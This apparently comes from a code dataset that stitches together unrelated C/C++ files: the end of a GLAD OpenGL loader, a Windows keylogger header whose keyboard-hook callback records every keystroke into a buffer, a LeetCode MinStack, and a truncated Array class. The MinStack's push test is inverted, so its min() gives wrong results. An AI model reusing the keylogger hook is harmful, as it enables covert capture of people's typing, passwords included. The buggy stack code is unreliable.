glad_glVertexAttrib2fv = (PFNGLVERTEXATTRIB2FVPROC)load("glVertexAttrib2fv");
glad_glVertexAttrib2s = (PFNGLVERTEXATTRIB2SPROC)load("glVertexAttrib2s");
glad_glVertexAttrib2sv = (PFNGLVERTEXATTRIB2SVPROC)load("glVertexAttrib2sv");
glad_glVertexAttrib3d = (PFNGLVERTEXATTRIB3DPROC)load("glVertexAttrib3d");
glad_glVertexAttrib3dv = (PFNGLVERTEXATTRIB3DVPROC)load("glVertexAttrib3dv");
glad_glVertexAttrib3f = (PFNGLVERTEXATTRIB3FPROC)load("glVertexAttrib3f");
glad_glVertexAttrib3fv = (PFNGLVERTEXATTRIB3FVPROC)load("glVertexAttrib3fv");
glad_glVertexAttrib3s = (PFNGLVERTEXATTRIB3SPROC)load("glVertexAttrib3s");
glad_glVertexAttrib3sv = (PFNGLVERTEXATTRIB3SVPROC)load("glVertexAttrib3sv");
glad_glVertexAttrib4Nbv = (PFNGLVERTEXATTRIB4NBVPROC)load("glVertexAttrib4Nbv");
glad_glVertexAttrib4Niv = (PFNGLVERTEXATTRIB4NIVPROC)load("glVertexAttrib4Niv");
glad_glVertexAttrib4Nsv = (PFNGLVERTEXATTRIB4NSVPROC)load("glVertexAttrib4Nsv");
glad_glVertexAttrib4Nub = (PFNGLVERTEXATTRIB4NUBPROC)load("glVertexAttrib4Nub");
glad_glVertexAttrib4Nubv = (PFNGLVERTEXATTRIB4NUBVPROC)load("glVertexAttrib4Nubv");
glad_glVertexAttrib4Nuiv = (PFNGLVERTEXATTRIB4NUIVPROC)load("glVertexAttrib4Nuiv");
glad_glVertexAttrib4Nusv = (PFNGLVERTEXATTRIB4NUSVPROC)load("glVertexAttrib4Nusv");
glad_glVertexAttrib4bv = (PFNGLVERTEXATTRIB4BVPROC)load("glVertexAttrib4bv");
glad_glVertexAttrib4d = (PFNGLVERTEXATTRIB4DPROC)load("glVertexAttrib4d");
glad_glVertexAttrib4dv = (PFNGLVERTEXATTRIB4DVPROC)load("glVertexAttrib4dv");
glad_glVertexAttrib4f = (PFNGLVERTEXATTRIB4FPROC)load("glVertexAttrib4f");
glad_glVertexAttrib4fv = (PFNGLVERTEXATTRIB4FVPROC)load("glVertexAttrib4fv");
glad_glVertexAttrib4iv = (PFNGLVERTEXATTRIB4IVPROC)load("glVertexAttrib4iv");
glad_glVertexAttrib4s = (PFNGLVERTEXATTRIB4SPROC)load("glVertexAttrib4s");
glad_glVertexAttrib4sv = (PFNGLVERTEXATTRIB4SVPROC)load("glVertexAttrib4sv");
glad_glVertexAttrib4ubv = (PFNGLVERTEXATTRIB4UBVPROC)load("glVertexAttrib4ubv");
glad_glVertexAttrib4uiv = (PFNGLVERTEXATTRIB4UIVPROC)load("glVertexAttrib4uiv");
glad_glVertexAttrib4usv = (PFNGLVERTEXATTRIB4USVPROC)load("glVertexAttrib4usv");
glad_glVertexAttribPointer = (PFNGLVERTEXATTRIBPOINTERPROC)load("glVertexAttribPointer");
}
static void load_GL_VERSION_2_1(GLADloadproc load) {
if(!GLAD_GL_VERSION_2_1) return;
glad_glUniformMatrix2x3fv = (PFNGLUNIFORMMATRIX2X3FVPROC)load("glUniformMatrix2x3fv");
glad_glUniformMatrix3x2fv = (PFNGLUNIFORMMATRIX3X2FVPROC)load("glUniformMatrix3x2fv");
glad_glUniformMatrix2x4fv = (PFNGLUNIFORMMATRIX2X4FVPROC)load("glUniformMatrix2x4fv");
glad_glUniformMatrix4x2fv = (PFNGLUNIFORMMATRIX4X2FVPROC)load("glUniformMatrix4x2fv");
glad_glUniformMatrix3x4fv = (PFNGLUNIFORMMATRIX3X4FVPROC)load("glUniformMatrix3x4fv");
glad_glUniformMatrix4x3fv = (PFNGLUNIFORMMATRIX4X3FVPROC)load("glUniformMatrix4x3fv");
}
static void load_GL_VERSION_3_0(GLADloadproc load) {
if(!GLAD_GL_VERSION_3_0) return;
glad_glColorMaski = (PFNGLCOLORMASKIPROC)load("glColorMaski");
glad_glGetBooleani_v = (PFNGLGETBOOLEANI_VPROC)load("glGetBooleani_v");
glad_glGetIntegeri_v = (PFNGLGETINTEGERI_VPROC)load("glGetIntegeri_v");
glad_glEnablei = (PFNGLENABLEIPROC)load("glEnablei");
glad_glDisablei = (PFNGLDISABLEIPROC)load("glDisablei");
glad_glIsEnabledi = (PFNGLISENABLEDIPROC)load("glIsEnabledi");
glad_glBeginTransformFeedback = (PFNGLBEGINTRANSFORMFEEDBACKPROC)load("glBeginTransformFeedback");
glad_glEndTransformFeedback = (PFNGLENDTRANSFORMFEEDBACKPROC)load("glEndTransformFeedback");
glad_glBindBufferRange = (PFNGLBINDBUFFERRANGEPROC)load("glBindBufferRange");
glad_glBindBufferBase = (PFNGLBINDBUFFERBASEPROC)load("glBindBufferBase");
glad_glTransformFeedbackVaryings = (PFNGLTRANSFORMFEEDBACKVARYINGSPROC)load("glTransformFeedbackVaryings");
glad_glGetTransformFeedbackVarying = (PFNGLGETTRANSFORMFEEDBACKVARYINGPROC)load("glGetTransformFeedbackVarying");
glad_glClampColor = (PFNGLCLAMPCOLORPROC)load("glClampColor");
glad_glBeginConditionalRender = (PFNGLBEGINCONDITIONALRENDERPROC)load("glBeginConditionalRender");
glad_glEndConditionalRender = (PFNGLENDCONDITIONALRENDERPROC)load("glEndConditionalRender");
glad_glVertexAttribIPointer = (PFNGLVERTEXATTRIBIPOINTERPROC)load("glVertexAttribIPointer");
glad_glGetVertexAttribIiv = (PFNGLGETVERTEXATTRIBIIVPROC)load("glGetVertexAttribIiv");
glad_glGetVertexAttribIuiv = (PFNGLGETVERTEXATTRIBIUIVPROC)load("glGetVertexAttribIuiv");
glad_glVertexAttribI1i = (PFNGLVERTEXATTRIBI1IPROC)load("glVertexAttribI1i");
glad_glVertexAttribI2i = (PFNGLVERTEXATTRIBI2IPROC)load("glVertexAttribI2i");
glad_glVertexAttribI3i = (PFNGLVERTEXATTRIBI3IPROC)load("glVertexAttribI3i");
glad_glVertexAttribI4i = (PFNGLVERTEXATTRIBI4IPROC)load("glVertexAttribI4i");
glad_glVertexAttribI1ui = (PFNGLVERTEXATTRIBI1UIPROC)load("glVertexAttribI1ui");
glad_glVertexAttribI2ui = (PFNGLVERTEXATTRIBI2UIPROC)load("glVertexAttribI2ui");
glad_glVertexAttribI3ui = (PFNGLVERTEXATTRIBI3UIPROC)load("glVertexAttribI3ui");
glad_glVertexAttribI4ui = (PFNGLVERTEXATTRIBI4UIPROC)load("glVertexAttribI4ui");
glad_glVertexAttribI1iv = (PFNGLVERTEXATTRIBI1IVPROC)load("glVertexAttribI1iv");
glad_glVertexAttribI2iv = (PFNGLVERTEXATTRIBI2IVPROC)load("glVertexAttribI2iv");
glad_glVertexAttribI3iv = (PFNGLVERTEXATTRIBI3IVPROC)load("glVertexAttribI3iv");
glad_glVertexAttribI4iv = (PFNGLVERTEXATTRIBI4IVPROC)load("glVertexAttribI4iv");
glad_glVertexAttribI1uiv = (PFNGLVERTEXATTRIBI1UIVPROC)load("glVertexAttribI1uiv");
glad_glVertexAttribI2uiv = (PFNGLVERTEXATTRIBI2UIVPROC)load("glVertexAttribI2uiv");
glad_glVertexAttribI3uiv = (PFNGLVERTEXATTRIBI3UIVPROC)load("glVertexAttribI3uiv");
glad_glVertexAttribI4uiv = (PFNGLVERTEXATTRIBI4UIVPROC)load("glVertexAttribI4uiv");
glad_glVertexAttribI4bv = (PFNGLVERTEXATTRIBI4BVPROC)load("glVertexAttribI4bv");
glad_glVertexAttribI4sv = (PFNGLVERTEXATTRIBI4SVPROC)load("glVertexAttribI4sv");
glad_glVertexAttribI4ubv = (PFNGLVERTEXATTRIBI4UBVPROC)load("glVertexAttribI4ubv");
glad_glVertexAttribI4usv = (PFNGLVERTEXATTRIBI4USVPROC)load("glVertexAttribI4usv");
glad_glGetUniformuiv = (PFNGLGETUNIFORMUIVPROC)load("glGetUniformuiv");
glad_glBindFragDataLocation = (PFNGLBINDFRAGDATALOCATIONPROC)load("glBindFragDataLocation");
glad_glGetFragDataLocation = (PFNGLGETFRAGDATALOCATIONPROC)load("glGetFragDataLocation");
glad_glUniform1ui = (PFNGLUNIFORM1UIPROC)load("glUniform1ui");
glad_glUniform2ui = (PFNGLUNIFORM2UIPROC)load("glUniform2ui");
glad_glUniform3ui = (PFNGLUNIFORM3UIPROC)load("glUniform3ui");
glad_glUniform4ui = (PFNGLUNIFORM4UIPROC)load("glUniform4ui");
glad_glUniform1uiv = (PFNGLUNIFORM1UIVPROC)load("glUniform1uiv");
glad_glUniform2uiv = (PFNGLUNIFORM2UIVPROC)load("glUniform2uiv");
glad_glUniform3uiv = (PFNGLUNIFORM3UIVPROC)load("glUniform3uiv");
glad_glUniform4uiv = (PFNGLUNIFORM4UIVPROC)load("glUniform4uiv");
glad_glTexParameterIiv = (PFNGLTEXPARAMETERIIVPROC)load("glTexParameterIiv");
glad_glTexParameterIuiv = (PFNGLTEXPARAMETERIUIVPROC)load("glTexParameterIuiv");
glad_glGetTexParameterIiv = (PFNGLGETTEXPARAMETERIIVPROC)load("glGetTexParameterIiv");
glad_glGetTexParameterIuiv = (PFNGLGETTEXPARAMETERIUIVPROC)load("glGetTexParameterIuiv");
glad_glClearBufferiv = (PFNGLCLEARBUFFERIVPROC)load("glClearBufferiv");
glad_glClearBufferuiv = (PFNGLCLEARBUFFERUIVPROC)load("glClearBufferuiv");
glad_glClearBufferfv = (PFNGLCLEARBUFFERFVPROC)load("glClearBufferfv");
glad_glClearBufferfi = (PFNGLCLEARBUFFERFIPROC)load("glClearBufferfi");
glad_glGetStringi = (PFNGLGETSTRINGIPROC)load("glGetStringi");
glad_glIsRenderbuffer = (PFNGLISRENDERBUFFERPROC)load("glIsRenderbuffer");
glad_glBindRenderbuffer = (PFNGLBINDRENDERBUFFERPROC)load("glBindRenderbuffer");
glad_glDeleteRenderbuffers = (PFNGLDELETERENDERBUFFERSPROC)load("glDeleteRenderbuffers");
glad_glGenRenderbuffers = (PFNGLGENRENDERBUFFERSPROC)load("glGenRenderbuffers");
glad_glRenderbufferStorage = (PFNGLRENDERBUFFERSTORAGEPROC)load("glRenderbufferStorage");
glad_glGetRenderbufferParameteriv = (PFNGLGETRENDERBUFFERPARAMETERIVPROC)load("glGetRenderbufferParameteriv");
glad_glIsFramebuffer = (PFNGLISFRAMEBUFFERPROC)load("glIsFramebuffer");
glad_glBindFramebuffer = (PFNGLBINDFRAMEBUFFERPROC)load("glBindFramebuffer");
glad_glDeleteFramebuffers = (PFNGLDELETEFRAMEBUFFERSPROC)load("glDeleteFramebuffers");
glad_glGenFramebuffers = (PFNGLGENFRAMEBUFFERSPROC)load("glGenFramebuffers");
glad_glCheckFramebufferStatus = (PFNGLCHECKFRAMEBUFFERSTATUSPROC)load("glCheckFramebufferStatus");
glad_glFramebufferTexture1D = (PFNGLFRAMEBUFFERTEXTURE1DPROC)load("glFramebufferTexture1D");
glad_glFramebufferTexture2D = (PFNGLFRAMEBUFFERTEXTURE2DPROC)load("glFramebufferTexture2D");
glad_glFramebufferTexture3D = (PFNGLFRAMEBUFFERTEXTURE3DPROC)load("glFramebufferTexture3D");
glad_glFramebufferRenderbuffer = (PFNGLFRAMEBUFFERRENDERBUFFERPROC)load("glFramebufferRenderbuffer");
glad_glGetFramebufferAttachmentParameteriv = (PFNGLGETFRAMEBUFFERATTACHMENTPARAMETERIVPROC)load("glGetFramebufferAttachmentParameteriv");
glad_glGenerateMipmap = (PFNGLGENERATEMIPMAPPROC)load("glGenerateMipmap");
glad_glBlitFramebuffer = (PFNGLBLITFRAMEBUFFERPROC)load("glBlitFramebuffer");
glad_glRenderbufferStorageMultisample = (PFNGLRENDERBUFFERSTORAGEMULTISAMPLEPROC)load("glRenderbufferStorageMultisample");
glad_glFramebufferTextureLayer = (PFNGLFRAMEBUFFERTEXTURELAYERPROC)load("glFramebufferTextureLayer");
glad_glMapBufferRange = (PFNGLMAPBUFFERRANGEPROC)load("glMapBufferRange");
glad_glFlushMappedBufferRange = (PFNGLFLUSHMAPPEDBUFFERRANGEPROC)load("glFlushMappedBufferRange");
glad_glBindVertexArray = (PFNGLBINDVERTEXARRAYPROC)load("glBindVertexArray");
glad_glDeleteVertexArrays = (PFNGLDELETEVERTEXARRAYSPROC)load("glDeleteVertexArrays");
glad_glGenVertexArrays = (PFNGLGENVERTEXARRAYSPROC)load("glGenVertexArrays");
glad_glIsVertexArray = (PFNGLISVERTEXARRAYPROC)load("glIsVertexArray");
}
static void load_GL_VERSION_3_1(GLADloadproc load) {
if(!GLAD_GL_VERSION_3_1) return;
glad_glDrawArraysInstanced = (PFNGLDRAWARRAYSINSTANCEDPROC)load("glDrawArraysInstanced");
glad_glDrawElementsInstanced = (PFNGLDRAWELEMENTSINSTANCEDPROC)load("glDrawElementsInstanced");
glad_glTexBuffer = (PFNGLTEXBUFFERPROC)load("glTexBuffer");
glad_glPrimitiveRestartIndex = (PFNGLPRIMITIVERESTARTINDEXPROC)load("glPrimitiveRestartIndex");
glad_glCopyBufferSubData = (PFNGLCOPYBUFFERSUBDATAPROC)load("glCopyBufferSubData");
glad_glGetUniformIndices = (PFNGLGETUNIFORMINDICESPROC)load("glGetUniformIndices");
glad_glGetActiveUniformsiv = (PFNGLGETACTIVEUNIFORMSIVPROC)load("glGetActiveUniformsiv");
glad_glGetActiveUniformName = (PFNGLGETACTIVEUNIFORMNAMEPROC)load("glGetActiveUniformName");
glad_glGetUniformBlockIndex = (PFNGLGETUNIFORMBLOCKINDEXPROC)load("glGetUniformBlockIndex");
glad_glGetActiveUniformBlockiv = (PFNGLGETACTIVEUNIFORMBLOCKIVPROC)load("glGetActiveUniformBlockiv");
glad_glGetActiveUniformBlockName = (PFNGLGETACTIVEUNIFORMBLOCKNAMEPROC)load("glGetActiveUniformBlockName");
glad_glUniformBlockBinding = (PFNGLUNIFORMBLOCKBINDINGPROC)load("glUniformBlockBinding");
glad_glBindBufferRange = (PFNGLBINDBUFFERRANGEPROC)load("glBindBufferRange");
glad_glBindBufferBase = (PFNGLBINDBUFFERBASEPROC)load("glBindBufferBase");
glad_glGetIntegeri_v = (PFNGLGETINTEGERI_VPROC)load("glGetIntegeri_v");
}
static void load_GL_VERSION_3_2(GLADloadproc load) {
if(!GLAD_GL_VERSION_3_2) return;
glad_glDrawElementsBaseVertex = (PFNGLDRAWELEMENTSBASEVERTEXPROC)load("glDrawElementsBaseVertex");
glad_glDrawRangeElementsBaseVertex = (PFNGLDRAWRANGEELEMENTSBASEVERTEXPROC)load("glDrawRangeElementsBaseVertex");
glad_glDrawElementsInstancedBaseVertex = (PFNGLDRAWELEMENTSINSTANCEDBASEVERTEXPROC)load("glDrawElementsInstancedBaseVertex");
glad_glMultiDrawElementsBaseVertex = (PFNGLMULTIDRAWELEMENTSBASEVERTEXPROC)load("glMultiDrawElementsBaseVertex");
glad_glProvokingVertex = (PFNGLPROVOKINGVERTEXPROC)load("glProvokingVertex");
glad_glFenceSync = (PFNGLFENCESYNCPROC)load("glFenceSync");
glad_glIsSync = (PFNGLISSYNCPROC)load("glIsSync");
glad_glDeleteSync = (PFNGLDELETESYNCPROC)load("glDeleteSync");
glad_glClientWaitSync = (PFNGLCLIENTWAITSYNCPROC)load("glClientWaitSync");
glad_glWaitSync = (PFNGLWAITSYNCPROC)load("glWaitSync");
glad_glGetInteger64v = (PFNGLGETINTEGER64VPROC)load("glGetInteger64v");
glad_glGetSynciv = (PFNGLGETSYNCIVPROC)load("glGetSynciv");
glad_glGetInteger64i_v = (PFNGLGETINTEGER64I_VPROC)load("glGetInteger64i_v");
glad_glGetBufferParameteri64v = (PFNGLGETBUFFERPARAMETERI64VPROC)load("glGetBufferParameteri64v");
glad_glFramebufferTexture = (PFNGLFRAMEBUFFERTEXTUREPROC)load("glFramebufferTexture");
glad_glTexImage2DMultisample = (PFNGLTEXIMAGE2DMULTISAMPLEPROC)load("glTexImage2DMultisample");
glad_glTexImage3DMultisample = (PFNGLTEXIMAGE3DMULTISAMPLEPROC)load("glTexImage3DMultisample");
glad_glGetMultisamplefv = (PFNGLGETMULTISAMPLEFVPROC)load("glGetMultisamplefv");
glad_glSampleMaski = (PFNGLSAMPLEMASKIPROC)load("glSampleMaski");
}
static void load_GL_VERSION_3_3(GLADloadproc load) {
if(!GLAD_GL_VERSION_3_3) return;
glad_glBindFragDataLocationIndexed = (PFNGLBINDFRAGDATALOCATIONINDEXEDPROC)load("glBindFragDataLocationIndexed");
glad_glGetFragDataIndex = (PFNGLGETFRAGDATAINDEXPROC)load("glGetFragDataIndex");
glad_glGenSamplers = (PFNGLGENSAMPLERSPROC)load("glGenSamplers");
glad_glDeleteSamplers = (PFNGLDELETESAMPLERSPROC)load("glDeleteSamplers");
glad_glIsSampler = (PFNGLISSAMPLERPROC)load("glIsSampler");
glad_glBindSampler = (PFNGLBINDSAMPLERPROC)load("glBindSampler");
glad_glSamplerParameteri = (PFNGLSAMPLERPARAMETERIPROC)load("glSamplerParameteri");
glad_glSamplerParameteriv = (PFNGLSAMPLERPARAMETERIVPROC)load("glSamplerParameteriv");
glad_glSamplerParameterf = (PFNGLSAMPLERPARAMETERFPROC)load("glSamplerParameterf");
glad_glSamplerParameterfv = (PFNGLSAMPLERPARAMETERFVPROC)load("glSamplerParameterfv");
glad_glSamplerParameterIiv = (PFNGLSAMPLERPARAMETERIIVPROC)load("glSamplerParameterIiv");
glad_glSamplerParameterIuiv = (PFNGLSAMPLERPARAMETERIUIVPROC)load("glSamplerParameterIuiv");
glad_glGetSamplerParameteriv = (PFNGLGETSAMPLERPARAMETERIVPROC)load("glGetSamplerParameteriv");
glad_glGetSamplerParameterIiv = (PFNGLGETSAMPLERPARAMETERIIVPROC)load("glGetSamplerParameterIiv");
glad_glGetSamplerParameterfv = (PFNGLGETSAMPLERPARAMETERFVPROC)load("glGetSamplerParameterfv");
glad_glGetSamplerParameterIuiv = (PFNGLGETSAMPLERPARAMETERIUIVPROC)load("glGetSamplerParameterIuiv");
glad_glQueryCounter = (PFNGLQUERYCOUNTERPROC)load("glQueryCounter");
glad_glGetQueryObjecti64v = (PFNGLGETQUERYOBJECTI64VPROC)load("glGetQueryObjecti64v");
glad_glGetQueryObjectui64v = (PFNGLGETQUERYOBJECTUI64VPROC)load("glGetQueryObjectui64v");
glad_glVertexAttribDivisor = (PFNGLVERTEXATTRIBDIVISORPROC)load("glVertexAttribDivisor");
glad_glVertexAttribP1ui = (PFNGLVERTEXATTRIBP1UIPROC)load("glVertexAttribP1ui");
glad_glVertexAttribP1uiv = (PFNGLVERTEXATTRIBP1UIVPROC)load("glVertexAttribP1uiv");
glad_glVertexAttribP2ui = (PFNGLVERTEXATTRIBP2UIPROC)load("glVertexAttribP2ui");
glad_glVertexAttribP2uiv = (PFNGLVERTEXATTRIBP2UIVPROC)load("glVertexAttribP2uiv");
glad_glVertexAttribP3ui = (PFNGLVERTEXATTRIBP3UIPROC)load("glVertexAttribP3ui");
glad_glVertexAttribP3uiv = (PFNGLVERTEXATTRIBP3UIVPROC)load("glVertexAttribP3uiv");
glad_glVertexAttribP4ui = (PFNGLVERTEXATTRIBP4UIPROC)load("glVertexAttribP4ui");
glad_glVertexAttribP4uiv = (PFNGLVERTEXATTRIBP4UIVPROC)load("glVertexAttribP4uiv");
glad_glVertexP2ui = (PFNGLVERTEXP2UIPROC)load("glVertexP2ui");
glad_glVertexP2uiv = (PFNGLVERTEXP2UIVPROC)load("glVertexP2uiv");
glad_glVertexP3ui = (PFNGLVERTEXP3UIPROC)load("glVertexP3ui");
glad_glVertexP3uiv = (PFNGLVERTEXP3UIVPROC)load("glVertexP3uiv");
glad_glVertexP4ui = (PFNGLVERTEXP4UIPROC)load("glVertexP4ui");
glad_glVertexP4uiv = (PFNGLVERTEXP4UIVPROC)load("glVertexP4uiv");
glad_glTexCoordP1ui = (PFNGLTEXCOORDP1UIPROC)load("glTexCoordP1ui");
glad_glTexCoordP1uiv = (PFNGLTEXCOORDP1UIVPROC)load("glTexCoordP1uiv");
glad_glTexCoordP2ui = (PFNGLTEXCOORDP2UIPROC)load("glTexCoordP2ui");
glad_glTexCoordP2uiv = (PFNGLTEXCOORDP2UIVPROC)load("glTexCoordP2uiv");
glad_glTexCoordP3ui = (PFNGLTEXCOORDP3UIPROC)load("glTexCoordP3ui");
glad_glTexCoordP3uiv = (PFNGLTEXCOORDP3UIVPROC)load("glTexCoordP3uiv");
glad_glTexCoordP4ui = (PFNGLTEXCOORDP4UIPROC)load("glTexCoordP4ui");
glad_glTexCoordP4uiv = (PFNGLTEXCOORDP4UIVPROC)load("glTexCoordP4uiv");
glad_glMultiTexCoordP1ui = (PFNGLMULTITEXCOORDP1UIPROC)load("glMultiTexCoordP1ui");
glad_glMultiTexCoordP1uiv = (PFNGLMULTITEXCOORDP1UIVPROC)load("glMultiTexCoordP1uiv");
glad_glMultiTexCoordP2ui = (PFNGLMULTITEXCOORDP2UIPROC)load("glMultiTexCoordP2ui");
glad_glMultiTexCoordP2uiv = (PFNGLMULTITEXCOORDP2UIVPROC)load("glMultiTexCoordP2uiv");
glad_glMultiTexCoordP3ui = (PFNGLMULTITEXCOORDP3UIPROC)load("glMultiTexCoordP3ui");
glad_glMultiTexCoordP3uiv = (PFNGLMULTITEXCOORDP3UIVPROC)load("glMultiTexCoordP3uiv");
glad_glMultiTexCoordP4ui = (PFNGLMULTITEXCOORDP4UIPROC)load("glMultiTexCoordP4ui");
glad_glMultiTexCoordP4uiv = (PFNGLMULTITEXCOORDP4UIVPROC)load("glMultiTexCoordP4uiv");
glad_glNormalP3ui = (PFNGLNORMALP3UIPROC)load("glNormalP3ui");
glad_glNormalP3uiv = (PFNGLNORMALP3UIVPROC)load("glNormalP3uiv");
glad_glColorP3ui = (PFNGLCOLORP3UIPROC)load("glColorP3ui");
glad_glColorP3uiv = (PFNGLCOLORP3UIVPROC)load("glColorP3uiv");
glad_glColorP4ui = (PFNGLCOLORP4UIPROC)load("glColorP4ui");
glad_glColorP4uiv = (PFNGLCOLORP4UIVPROC)load("glColorP4uiv");
glad_glSecondaryColorP3ui = (PFNGLSECONDARYCOLORP3UIPROC)load("glSecondaryColorP3ui");
glad_glSecondaryColorP3uiv = (PFNGLSECONDARYCOLORP3UIVPROC)load("glSecondaryColorP3uiv");
}
static int find_extensionsGL(void) {
if (!get_exts()) return 0;
(void)&has_ext;
free_exts();
return 1;
}
static void find_coreGL(void) {
/* Thank you @elmindreda
* https://github.com/elmindreda/greg/blob/master/templates/greg.c.in#L176
* https://github.com/glfw/glfw/blob/master/src/context.c#L36
*/
int i, major, minor;
const char* version;
const char* prefixes[] = {
"OpenGL ES-CM ",
"OpenGL ES-CL ",
"OpenGL ES ",
NULL
};
version = (const char*) glGetString(GL_VERSION);
if (!version) return;
for (i = 0; prefixes[i]; i++) {
const size_t length = strlen(prefixes[i]);
if (strncmp(version, prefixes[i], length) == 0) {
version += length;
break;
}
}
/* PR #18 */
#ifdef _MSC_VER
sscanf_s(version, "%d.%d", &major, &minor);
#else
sscanf(version, "%d.%d", &major, &minor);
#endif
GLVersion.major = major; GLVersion.minor = minor;
max_loaded_major = major; max_loaded_minor = minor;
GLAD_GL_VERSION_1_0 = (major == 1 && minor >= 0) || major > 1;
GLAD_GL_VERSION_1_1 = (major == 1 && minor >= 1) || major > 1;
GLAD_GL_VERSION_1_2 = (major == 1 && minor >= 2) || major > 1;
GLAD_GL_VERSION_1_3 = (major == 1 && minor >= 3) || major > 1;
GLAD_GL_VERSION_1_4 = (major == 1 && minor >= 4) || major > 1;
GLAD_GL_VERSION_1_5 = (major == 1 && minor >= 5) || major > 1;
GLAD_GL_VERSION_2_0 = (major == 2 && minor >= 0) || major > 2;
GLAD_GL_VERSION_2_1 = (major == 2 && minor >= 1) || major > 2;
GLAD_GL_VERSION_3_0 = (major == 3 && minor >= 0) || major > 3;
GLAD_GL_VERSION_3_1 = (major == 3 && minor >= 1) || major > 3;
GLAD_GL_VERSION_3_2 = (major == 3 && minor >= 2) || major > 3;
GLAD_GL_VERSION_3_3 = (major == 3 && minor >= 3) || major > 3;
if (GLVersion.major > 3 || (GLVersion.major >= 3 && GLVersion.minor >= 3)) {
max_loaded_major = 3;
max_loaded_minor = 3;
}
}
int gladLoadGLLoader(GLADloadproc load) {
GLVersion.major = 0; GLVersion.minor = 0;
glGetString = (PFNGLGETSTRINGPROC)load("glGetString");
if(glGetString == NULL) return 0;
if(glGetString(GL_VERSION) == NULL) return 0;
find_coreGL();
load_GL_VERSION_1_0(load);
load_GL_VERSION_1_1(load);
load_GL_VERSION_1_2(load);
load_GL_VERSION_1_3(load);
load_GL_VERSION_1_4(load);
load_GL_VERSION_1_5(load);
load_GL_VERSION_2_0(load);
load_GL_VERSION_2_1(load);
load_GL_VERSION_3_0(load);
load_GL_VERSION_3_1(load);
load_GL_VERSION_3_2(load);
load_GL_VERSION_3_3(load);
if (!find_extensionsGL()) return 0;
return GLVersion.major != 0 || GLVersion.minor != 0;
}
| [
"max.bergmark@gmail.com"
] | max.bergmark@gmail.com |
b72f020bafc9b2c3c5a00fb8b0a45f3b874fc3c6 | a18c5155139c6567af04ddaf353421fd0f79e12c | /key_proc.h | d1502061c56c166ca1a00491a6e6258f79b6a329 | [] | no_license | Yash227/KeyLogger | 42e798c0e3633e568729b4fe68c32a54b3aa2c1a | 5055edfcca8a2e53da62750de1b6962234235fca | refs/heads/main | 2023-01-08T16:24:53.782150 | 2020-11-05T19:45:45 | 2020-11-05T19:45:45 | 310,397,093 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,087 | h | #ifndef KEY_PROC
#define KEY_PROC
#include <winuser.h>
#include <sstream>
#include "key_codes.h"
using namespace std;
namespace key_proc
{
stringstream captured;
//Debug helper
INPUT change_ks(DWORD vkey)
{
INPUT input;
input.type = INPUT_KEYBOARD;
input.ki.wScan = MapVirtualKey(vkey, MAPVK_VK_TO_VSC);
input.ki.time = 0;
input.ki.dwExtraInfo = 0;
input.ki.wVk = vkey;
input.ki.dwFlags = KEYEVENTF_UNICODE;
return input;
}
LRESULT CALLBACK kbdproc(int code, WPARAM wparam, LPARAM lparam)
{
if (code < 0)
return CallNextHookEx(NULL, code, wparam, lparam);
KBDLLHOOKSTRUCT *k = ((KBDLLHOOKSTRUCT *)lparam);
if (wparam == WM_KEYDOWN || wparam == WM_SYSKEYDOWN)
{
captured << key_codes::kc[k->vkCode].desc;
if (k->vkCode == VK_RETURN)
captured << "\n";
}
if (wparam == WM_KEYUP || wparam == WM_SYSKEYUP)
{
if (k->vkCode == VK_CAPITAL || k->vkCode == VK_NUMLOCK ||
k->vkCode == VK_LCONTROL || k->vkCode == VK_LMENU || k->vkCode == VK_LSHIFT || k->vkCode == VK_LWIN ||
k->vkCode == VK_RCONTROL || k->vkCode == VK_RMENU || k->vkCode == VK_RSHIFT || k->vkCode == VK_RWIN)
for (auto i = 0; i < key_codes::kc[k->vkCode].desc.length(); i++)
{
if (i == 1)
captured << "\\";
captured << key_codes::kc[k->vkCode].desc[i];
}
}
/*
//Debug --> changing - to +
if (wparam == WM_KEYDOWN && ((KBDLLHOOKSTRUCT *)lparam)->vkCode == VK_OEM_MINUS)
{
INPUT input = change_ks(VK_ADD);
SendInput(1, &input, sizeof(INPUT));
input.ki.dwFlags = KEYEVENTF_KEYUP;
SendInput(1, &input, sizeof(INPUT));
return 1;
}
//end debug
//*/
return CallNextHookEx(NULL, code, wparam, lparam);
}
} // namespace key_proc
#endif | [
"yashkushwaha227@gmail.com"
] | yashkushwaha227@gmail.com |
7e577d55885be3ec3e4d153214ad719f8bd76d5c | a3569601d203ad418a5cf68043001be5610da90f | /offer/Offer30.包含min函数的栈.cpp | a5ba867198ecea701c0b214360bb678c7d20ae28 | [] | no_license | l1nkkk/leetcode | a12b0e117dd5e580fe8356f66774f75edb4612ac | 6c4bb462afb68f5cd913d6f3010b39f62dce2d86 | refs/heads/master | 2023-03-16T17:25:18.765935 | 2022-08-06T15:31:42 | 2022-08-06T15:31:42 | 220,748,877 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 630 | cpp | //
// Created by l1nkkk on 2022/3/26.
//
#include <iostream>
#include <vector>
#include <stack>
using namespace std;
namespace offer30{
class MinStack {
public:
/** initialize your data structure here. */
MinStack() {
}
void push(int x) {
data_.push(x);
if(min_.empty() || min_.top() <= x)
min_.push(x);
}
void pop() {
auto t = data_.top();
data_.pop();
if(t == min_.top()) min_.pop();
}
int top() {
return data_.top();
}
int min() {
return min_.top();
}
private:
stack<int> data_;
stack<int> min_;
};
} | [
"linkgvhj.ggg.@gmail.com"
] | linkgvhj.ggg.@gmail.com |
fb107c87be55e425c6305974cf4b09c82eafe103 | 60014f5c0bec430027023b795e1e9fdff10f6317 | /day7.4/src/day7.4.cpp | 51649ea73f2c18613a4f0317011a96ec3c3eafa3 | [] | no_license | Dnyaneshwarshinde/project | 1b7aab6bc878430fb9b28a0cbead34089ad7bc3c | e0ee3a2fdff4612e2fe604e13f381040dcd0b1ca | refs/heads/master | 2020-08-01T19:22:39.661684 | 2019-09-26T16:58:24 | 2019-09-26T16:58:24 | 211,090,572 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,238 | cpp | #include<memory.h>
#include<string>
#include <iostream>
using namespace std;
class Array
{
private:
int size;
int *arr;
public:
Array(void)
{
this->size=0;
this->arr=NULL;
}
Array(int size)
{
this->size=size;
this->arr=new int[this->size];
}
Array(const Array &other)
{
this->size=other.size;
this->arr=new int[this->size];
memcpy(this->arr, other.arr, this->size * sizeof( int ) );
}
Array& operator=(const Array &other)
{
this->~Array();
this->size=other.size;
this->arr=new int[this->size];
memcpy(this->arr,other.arr,this->size * sizeof(int));
return *this;
}
